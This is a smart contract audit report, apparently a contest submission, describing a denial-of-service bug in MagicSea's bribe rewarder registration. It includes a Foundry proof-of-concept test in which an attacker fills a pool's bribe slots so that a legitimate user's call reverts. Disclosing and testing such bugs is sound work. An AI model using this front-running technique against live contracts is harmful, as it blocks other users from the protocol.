Fresh Mint Weasel

Medium

# Attacker can stop others from starting bribe rewarders by creating and initializing others

## Summary
An attacker can DOS the bribe rewarder initialization by initializing other bribe rewarders. This happens because of a limit set in the amount of bribe rewarders the system can handler

## Vulnerability Detail
In the function [bribe](https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/rewarders/BribeRewarder.sol#L226), that is called whe calling [fundAndBribe](https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/rewarders/BribeRewarder.sol#L111) and [bribe](https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/rewarders/BribeRewarder.sol#L132), there's a call to the [onRegister](https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/rewarders/BribeRewarder.sol#L255) function in the voter contract. 

```solidity
function _bribe(uint256 startId, uint256 lastId, uint256 amountPerPeriod) internal {
    ...
    IVoter(_caller).onRegister();
    ...
}
```

This function makes a couple of checks when a bribe rewarder period is [initialized](https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/Voter.sol#L140-L142).

```solidity
    function onRegister() external override {
        IBribeRewarder rewarder = IBribeRewarder(msg.sender);

        _checkRegisterCaller(rewarder);

        uint256 currentPeriodId = _currentVotingPeriodId;
        (address pool, uint256[] memory periods) = rewarder.getBribePeriods();
        for (uint256 i = 0; i < periods.length; ++i) {
            // TODO check if rewarder token + pool  is already registered

            require(periods[i] >= currentPeriodId, "wrong period");
            require(_bribesPerPriod[periods[i]][pool].length + 1 <= Constants.MAX_BRIBES_PER_POOL, "too much bribes");
            _bribesPerPriod[periods[i]][pool].push(rewarder);
        }
    }
```

One of the validations ensures that the number of bribe rewarders for a given period and pool doesn't exceeds MAX_BRIBES_PER_POOL. An attacker can easily front-run another user's bribeRewarder creation with the same period and pool, while using a different token and not incurring in any expenses. The attacker can do this for any bribe rewarder creation, thus preventing any initialization of that contract reward system.

## Impact

DOS on the bribe rewarder initializationn

## Code Snippet

Add this test code on this [file](https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/test/BribeRewarder.t.sol).

```solidity
   function testVoterDOS() public {
        address factoryImpl = address(new RewarderFactory());
        RewarderFactory fact = RewarderFactory(
            address(
                new TransparentUpgradeableProxy2Step(
                    factoryImpl,
                    ProxyAdmin2Step(address(1)),
                    abi.encodeWithSelector(
                        RewarderFactory.initialize.selector, address(this), new uint8[](0), new address[](0)
                    )
                )
            )
        );
        Voter voter = new Voter(IMasterChef(address(0)),IMlumStaking(address(0)),fact);
        
        fact.setRewarderImplementation(
            IRewarderFactory.RewarderType.BribeRewarder, IRewarder(address(new BribeRewarder(address(voter))))
        );

        uint start = 10;
        uint end = 100;
        uint attackEnd = 11;
        address attacker = address(42);
        address user = address(123);
        ERC20Mock atckTkn = new ERC20Mock("Token A", "TA", 18);
        ERC20Mock userTkn = new ERC20Mock("Token A", "TA", 18);

        atckTkn.mint(attacker,100);
        userTkn.mint(user,10000);

        for (uint i=0;i < 5; i++){
            vm.prank(attacker);
            BribeRewarder attck = BribeRewarder(payable(address(factory.createBribeRewarder(IERC20(atckTkn), pool))));
            
            vm.prank(attacker);
            atckTkn.approve(address(attck),100);

            vm.prank(attacker);
            attck.fundAndBribe(start,attackEnd,1);
        }

        vm.prank(user);
        BribeRewarder userRew = BribeRewarder(payable(address(factory.createBribeRewarder(IERC20(userTkn), pool))));
        vm.prank(user);  
        userTkn.approve(address(userRew),10000);
        vm.prank(user);
        vm.expectRevert("too much bribes");
        userRew.fundAndBribe(start,end,1);
    }
```

## Tool used

Manual Review

## Recommendation

Remove the validation for max bribe rewarders or change the conditions to avoid stopping the system.
